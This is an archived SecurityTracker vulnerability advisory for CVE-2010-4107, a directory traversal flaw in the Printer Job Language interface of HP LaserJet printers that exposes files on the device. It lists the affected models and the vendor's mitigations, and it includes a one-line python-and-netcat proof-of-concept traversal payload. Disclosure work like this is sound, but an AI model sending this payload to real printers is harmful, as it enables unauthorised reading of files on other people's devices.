Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   


Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker

Category:   Device (Printer)  >   HP Printer Vendors:   HPE
HP LaserJet Printer Printer Job Language (PJL) Interface Directory Traversal Flaw Lets Remote Users View Arbitrary Files
SecurityTracker Alert ID:  1024741
SecurityTracker URL:
CVE Reference:   CVE-2010-4107   (Links to External Site)
Updated:  Nov 29 2010
Original Entry Date:  Nov 16 2010
Impact:   Disclosure of system information, Disclosure of user information
Vendor Confirmed:  Yes  Exploit Included:  Yes  

Description:   A vulnerability was reported in HP LaserJet Printers. A remote user can view files on the target system.

A remote user can exploit a directory traversal flaw in the Printer Job Language (PJL) interface to view arbitrary files on the target device.

A demonstration python exploit command is provided:

$ python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" \
ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 9100

The following device models are affected:

HP LaserJet MFP printers (all models with Printer Job Language (PJL) support), HP Color LaserJet MFP printers (all models with Printer Job Language (PJL) support), LaserJet 4100 series, 4200 series, 4300 series, 5100 series, 8150 series, 9000 series.

The vendor was notified on November 25, 2009.

Moritz Jodeit of n.runs AG reported this vulnerability.

Impact:   A remote user can view files on the target system.
Solution:   No solution was available at the time of this entry.

The vendor recommends either disabling file system access via the PJL interface or setting a PJL password.

The vendor's advisory is available at:

Vendor URL: (Links to External Site)
Cause:   Input validation error

Message History:   None.

 Source Message Contents

[Original Message Not Available for Viewing]

Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

Copyright 2017, LLC